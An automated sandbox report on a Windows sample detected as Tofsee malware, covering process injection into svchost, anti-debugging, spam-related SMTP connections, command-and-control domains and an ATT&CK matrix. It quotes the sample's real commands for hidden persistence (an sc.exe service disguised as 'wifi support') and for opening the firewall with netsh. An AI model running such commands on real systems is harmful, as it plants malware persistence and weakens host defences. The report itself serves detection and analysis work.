Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

Code function: 0_2_00401D96 CreateThread,GetVersionExA,GetSystemInfo,GetModuleHandleA,GetProcAddress,GetCurrentProcess,GetTickCount,

0_2_00401D96

Source: svchost.exe, 0000000D.00000002.3304379790.0000000003200000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllW

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	API call chain: ExitProcess graph end node			graph_0-15367
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	API call chain: ExitProcess graph end node			graph_12-15356

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Windows\SysWOW64\svchost.exe	Debugger detection routine: GetTickCount, GetTickCount, DecisionNodes, ExitProcess or Sleep	graph_13-7667
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Debugger detection routine: GetTickCount, GetTickCount, DecisionNodes, ExitProcess or Sleep	graph_0-16423
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Debugger detection routine: GetTickCount, GetTickCount, DecisionNodes, ExitProcess or Sleep	graph_12-16364

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

Code function: 0_2_00406069 IsBadReadPtr,LoadLibraryA,GetProcAddress,GetProcAddress,IsBadReadPtr,

0_2_00406069

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Code function: 0_2_0264D01E push dword ptr fs:[00000030h]	0_2_0264D01E
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Code function: 0_2_040C092B mov eax, dword ptr fs:[00000030h]	0_2_040C092B
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Code function: 0_2_040C0D90 mov eax, dword ptr fs:[00000030h]	0_2_040C0D90
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Code function: 12_2_0261092B mov eax, dword ptr fs:[00000030h]	12_2_0261092B
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Code function: 12_2_02610D90 mov eax, dword ptr fs:[00000030h]	12_2_02610D90
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Code function: 12_2_026980BE push dword ptr fs:[00000030h]	12_2_026980BE

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

Code function: 0_2_0040EBCC GetProcessHeap,RtlAllocateHeap,

0_2_0040EBCC

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Code function: 0_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,	0_2_00409A6B
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Code function: 12_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,	12_2_00409A6B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_02D39A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,	13_2_02D39A6B

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 52.101.8.49 25	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 94.100.180.31 25	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 195.58.54.132 443	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 64.233.166.27 25	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 67.195.228.111 25	Jump to behavior

Allocates memory in foreign processes

Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe

Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 2D30000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 2D30000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 2D30000			Jump to behavior
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 2EC8008			Jump to behavior

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\chxnvqnu\	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\uscdfbek.exe" C:\Windows\SysWOW64\chxnvqnu\	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" create chxnvqnu binPath= "C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe /d\"C:\Users\user\Desktop\2IFYYPRUgO.exe\"" type= own start= auto DisplayName= "wifi support"	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" description chxnvqnu "wifi internet conection"	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" start chxnvqnu	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul	Jump to behavior
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Process created: C:\Windows\SysWOW64\svchost.exe svchost.exe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 7096 -ip 7096	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 1472 -ip 1472	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7096 -s 588	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1472 -s 1032	Jump to behavior

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

Code function: 0_2_00407809 CreateThread,GetUserNameA,LookupAccountNameA,GetLengthSid,GetFileSecurityA,GetSecurityDescriptorOwner,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetFileSecurityA,LocalFree,GetSecurityDescriptorDacl,GetAce,EqualSid,DeleteAce,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,SetFileSecurityA,LocalFree,

0_2_00407809

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

Code function: 0_2_00406EDD AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00406EDD

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

Code function: 0_2_0040405E CreateEventA,ExitProcess,CloseHandle,CreateNamedPipeA,Sleep,CloseHandle,ConnectNamedPipe,GetLastError,DisconnectNamedPipe,CloseHandle,CloseHandle,CloseHandle,

0_2_0040405E

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

Code function: 0_2_0040EC54 GetSystemTimeAsFileTime,GetVolumeInformationA,GetTickCount,

0_2_0040EC54

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

0_2_00407809

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

Code function: 0_2_0040B211 FileTimeToSystemTime,GetLocalTime,FileTimeToLocalFileTime,FileTimeToSystemTime,SystemTimeToFileTime,FileTimeToSystemTime,GetTimeZoneInformation,wsprintfA,

0_2_0040B211

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

Code function: 0_2_00409326 GetVersionExA,GetModuleHandleA,GetModuleFileNameA,wsprintfA,wsprintfA,wsprintfA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,

0_2_00409326

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the windows firewall

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul

Uses netsh to modify the Windows network and firewall settings

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe

Stealing of Sensitive Information

Yara detected Tofsee

Source: Yara match	File source: 12.2.uscdfbek.exe.2dd0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.uscdfbek.exe.2610e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.uscdfbek.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2IFYYPRUgO.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.2d30000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.uscdfbek.exe.2dd0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2IFYYPRUgO.exe.40c0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IFYYPRUgO.exe.40e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.2d30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2IFYYPRUgO.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.3.uscdfbek.exe.2630000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.uscdfbek.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2079103055.0000000002DD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2074120275.0000000002630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2043185641.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2IFYYPRUgO.exe PID: 1472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: uscdfbek.exe PID: 7096, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 940, type: MEMORYSTR

Remote Access Functionality

Yara detected Tofsee

Source: Yara match	File source: 12.2.uscdfbek.exe.2dd0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.uscdfbek.exe.2610e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.uscdfbek.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2IFYYPRUgO.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.2d30000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.uscdfbek.exe.2dd0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2IFYYPRUgO.exe.40c0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.2IFYYPRUgO.exe.40e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.2d30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.2IFYYPRUgO.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.3.uscdfbek.exe.2630000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.uscdfbek.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2079103055.0000000002DD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2074120275.0000000002630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2043185641.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2IFYYPRUgO.exe PID: 1472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: uscdfbek.exe PID: 7096, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 940, type: MEMORYSTR

Source: C:\Users\user\Desktop\2IFYYPRUgO.exe	Code function: 0_2_004088B0 CreateThread,CreateThread,send,recv,socket,connect,closesocket,setsockopt,bind,listen,accept,select,getpeername,getsockname,	0_2_004088B0
Source: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe	Code function: 12_2_004088B0 CreateThread,CreateThread,send,recv,socket,connect,closesocket,setsockopt,bind,listen,accept,select,getpeername,getsockname,	12_2_004088B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_02D388B0 CreateThread,CreateThread,send,recv,socket,connect,closesocket,setsockopt,bind,listen,accept,select,getpeername,getsockname,	13_2_02D388B0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	41 Native API	1 DLL Side-Loading	1 DLL Side-Loading	3 Disable or Modify Tools	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Valid Accounts	1 Valid Accounts	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	Data from Removable Media	12 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 Service Execution	14 Windows Service	1 Access Token Manipulation	3 Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	14 Windows Service	22 Software Packing	NTDS	15 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	412 Process Injection	1 DLL Side-Loading	LSA Secrets	111 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Masquerading	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Valid Accounts	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	412 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2IFYYPRUgO.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\uscdfbek.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
jotunheim.name:443	100%	Avira URL Cloud	malware
vanaheim.cn:443	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
mta6.am0.yahoodns.net	67.195.228.111	true	true	unknown
mxs.mail.ru	94.100.180.31	true	true	unknown
microsoft-com.mail.protection.outlook.com	52.101.8.49	true	true	unknown
vanaheim.cn	195.58.54.132	true	true	unknown
smtp.google.com	64.233.166.27	true	false	unknown
google.com	unknown	unknown	true	unknown
yahoo.com	unknown	unknown	true	unknown
mail.ru	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
vanaheim.cn:443	true	Avira URL Cloud: phishing	unknown
jotunheim.name:443	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
195.58.54.132	vanaheim.cn	Russian Federation	41082	URALTRANSCOM-ASUA	true
52.101.8.49	microsoft-com.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
64.233.166.27	smtp.google.com	United States	15169	GOOGLEUS	false
67.195.228.111	mta6.am0.yahoodns.net	United States	36647	YAHOO-GQ1US	true
94.100.180.31	mxs.mail.ru	Russian Federation	47764	MAILRU-ASMailRuRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1515185
Start date and time:	2024-09-21 23:38:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2IFYYPRUgO.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@31/3@9/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 61 Number of non-executed functions: 259
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 20.76.201.171, 20.112.250.133, 20.70.246.20, 20.236.44.162, 20.231.239.246
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 2IFYYPRUgO.exe

Simulations

Behavior and APIs

Time	Type	Description
17:39:44	API Interceptor	13x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
195.58.54.132	H3nfKrgQbi.exe	Get hash	malicious	Tofsee	Browse
52.101.8.49	RSno9EH0K9.exe	Get hash	malicious	Tofsee	Browse
	Uc84uB877e.exe	Get hash	malicious	Tofsee	Browse
	vekvtia.exe	Get hash	malicious	Tofsee	Browse
	Eduhazqw4u.exe	Get hash	malicious	Tofsee	Browse
	.exe	Get hash	malicious	Unknown	Browse
	ewdWlNc8TL.exe	Get hash	malicious	Tofsee	Browse
	kPl1mZTpru.exe	Get hash	malicious	Tofsee	Browse
	Wc4SadetF5.exe	Get hash	malicious	Tofsee	Browse
	L7iza9mNDI.exe	Get hash	malicious	Tofsee	Browse
	file.exe	Get hash	malicious	Tofsee	Browse
67.195.228.111	RSno9EH0K9.exe	Get hash	malicious	Tofsee	Browse
	file.exe	Get hash	malicious	Phorpiex	Browse
	gEkl9O5tiu.exe	Get hash	malicious	Phorpiex	Browse
	file.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Tofsee	Browse
	.exe	Get hash	malicious	Unknown	Browse
	Update-KB7390-x86.exe	Get hash	malicious	Unknown	Browse
	Update-KB6734-x86.exe	Get hash	malicious	Unknown	Browse
	Update-KB5058-x86.exe	Get hash	malicious	Unknown	Browse
94.100.180.31	H3nfKrgQbi.exe	Get hash	malicious	Tofsee	Browse
	2FnvReiPU6.exe	Get hash	malicious	Tofsee	Browse
	qkkcfptf.exe	Get hash	malicious	Tofsee	Browse
	vekvtia.exe	Get hash	malicious	Tofsee	Browse
	UUJycuNA6D.exe	Get hash	malicious	Tofsee	Browse
	igvdwmhd.exe	Get hash	malicious	Tofsee	Browse
	fdnoqmpv.exe	Get hash	malicious	Tofsee	Browse
	rRBVVlBwia.exe	Get hash	malicious	Tofsee	Browse
	setup.exe	Get hash	malicious	Tofsee	Browse
	m4Jp2TLBHJ.exe	Get hash	malicious	Tofsee	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mxs.mail.ru	H3nfKrgQbi.exe	Get hash	malicious	Tofsee	Browse	94.100.180.31
	2FnvReiPU6.exe	Get hash	malicious	Tofsee	Browse	94.100.180.31
	874A7cigvX.exe	Get hash	malicious	Tofsee	Browse	217.69.139.150
	RSno9EH0K9.exe	Get hash	malicious	Tofsee	Browse	217.69.139.150
	ODy57hA4Su.exe	Get hash	malicious	Tofsee	Browse	217.69.139.150
	Uc84uB877e.exe	Get hash	malicious	Tofsee	Browse	217.69.139.150
	qkkcfptf.exe	Get hash	malicious	Tofsee	Browse	94.100.180.31
	vekvtia.exe	Get hash	malicious	Tofsee	Browse	94.100.180.31
	knkduwqg.exe	Get hash	malicious	Tofsee	Browse	217.69.139.150
	foufdsk.exe	Get hash	malicious	Tofsee	Browse	217.69.139.150
mta6.am0.yahoodns.net	qkkcfptf.exe	Get hash	malicious	Tofsee	Browse	98.136.96.74
	vekvtia.exe	Get hash	malicious	Tofsee	Browse	67.195.204.79
	knkduwqg.exe	Get hash	malicious	Tofsee	Browse	98.136.96.75
	foufdsk.exe	Get hash	malicious	Tofsee	Browse	98.136.96.76
	UUJycuNA6D.exe	Get hash	malicious	Tofsee	Browse	67.195.204.77
	SGn3RtDC8Y.exe	Get hash	malicious	Tofsee	Browse	67.195.228.106
	.exe	Get hash	malicious	Unknown	Browse	98.136.96.76
	Sm4Ty3Em4z.exe	Get hash	malicious	Tofsee	Browse	67.195.204.73
	ewdWlNc8TL.exe	Get hash	malicious	Tofsee	Browse	67.195.204.74
	rRBVVlBwia.exe	Get hash	malicious	Tofsee	Browse	98.136.96.74
vanaheim.cn	H3nfKrgQbi.exe	Get hash	malicious	Tofsee	Browse	195.58.54.132
	874A7cigvX.exe	Get hash	malicious	Tofsee	Browse	77.232.41.29
	RSno9EH0K9.exe	Get hash	malicious	Tofsee	Browse	77.232.41.29
	ODy57hA4Su.exe	Get hash	malicious	Tofsee	Browse	77.232.41.29
	Uc84uB877e.exe	Get hash	malicious	Tofsee	Browse	77.232.41.29
	qkkcfptf.exe	Get hash	malicious	Tofsee	Browse	77.232.41.29
	vekvtia.exe	Get hash	malicious	Tofsee	Browse	77.232.41.29
	knkduwqg.exe	Get hash	malicious	Tofsee	Browse	77.232.41.29
	foufdsk.exe	Get hash	malicious	Tofsee	Browse	77.232.41.29
	UUJycuNA6D.exe	Get hash	malicious	Tofsee	Browse	77.232.41.29
microsoft-com.mail.protection.outlook.com	H3nfKrgQbi.exe	Get hash	malicious	Tofsee	Browse	52.101.42.0
	2FnvReiPU6.exe	Get hash	malicious	Tofsee	Browse	52.101.11.9
